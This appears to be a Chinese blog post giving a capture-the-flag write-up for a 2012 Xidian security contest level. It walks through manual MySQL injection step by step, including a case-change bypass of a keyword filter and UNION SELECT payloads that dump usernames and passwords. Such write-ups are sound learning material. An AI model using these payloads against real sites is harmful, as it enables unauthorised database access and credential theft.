2012西电网络攻防大赛(XDCSC2012)网络渗透0x009通关方案

比赛地址:https://csc.xdsec.org。感兴趣的朋友可以看下。。。

边学边试弄了一个晚上,终于过了这关。以前没有学过PHP+MYSQL的注入,ASP也只会用啊D一类工具,今天算是手工注入了一次。
界面只有一个文本输入框。推测应该是字符型的注入点。
先提交一个单引号试试,没有任何回显,也没有报错,推测把单引号当做一个字符执行了。。。
提交1',奇迹出现了。。。


推测SQL应该是这样写的

select firstname,surname from XXX where id='xxx'


但是为毛会出现这个。。。我也搞不懂。。。求大神指教。。。
不管他,继续提交

admin' and exists (select * from admin) and '1'='1

完整的SQL语句应该是

select firstname,surname from XXX where id='admin' and exists (select * from admin) and '1'='1'


看起来一点问题没有。。。但是,出错了。。。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*admin) and '1'='1'' at line 1

开始想了半天没想明白为什么出错了。。。后来仔细看了下错误信息
near '*admin) and '1'='1''

突然发现*和admin中间的from不见了。。。。被过滤了!!
【2012西电网络攻防大赛(XDCSC2012)网络渗透0x009通关方案】于是改成大写试试。

admin' AND EXISTS (SELECT * FROM admin) and '1'='1

再次提交。这次没有被过滤,返回信息

Table 'goal.admin' doesn't exist

百度之,发现是不存在表admin。
然后又试了几个常见表名,试到users的时候不返回错误了。
然后猜字段。提交

admin' AND EXISTS (SELECT admin FROM users) and '1'='1

返回
Unknown column 'admin' in 'field list'

再次百度之,字段admin不存在。
继续试字段。最后字段user,password存在。
然后提交

admin' AND 1=2 UNION SELECT password FROM users WHERE user='admin' and '1'='1

这儿我想直接拿到password的值,结果返回

The used SELECT statements have a different number of columns

百度之,发现要猜字段数量。关于这个,这儿有详细的说明:http://www.myhack58.com/Article/html/3/7/2011/29898.htm
于是提交

admin' AND 1=2 UNION SELECT 1,2 FROM users WHERE user='admin' and '1'='1

显示了这个




这时候把1替换为password,提交

admin' AND 1=2 UNION SELECT password,2 FROM users WHERE user='admin' and '1'='1

返回的结果


这样就拿到了password字段的值了。。。




其实刚才猜出列名之后就应该先猜字段数量的。我觉得正确的步骤应该是
提交

admin' AND 1=2 UNION SELECT 1 FROM users WHERE '1'='1

返回

The used SELECT statements have a different number of columns

说明字段数量不对,于是继续猜,提交

admin' AND 1=2 UNION SELECT 1,2 FROM users WHERE '1'='1

这时候出现了


说明字段数量对了
然后将1,2替换为user,password,提交

admin' AND 1=2 UNION SELECT user,password FROM users WHERE '1'='1

出现了这个


所有的user,password值都显示出来了。。。

    推荐阅读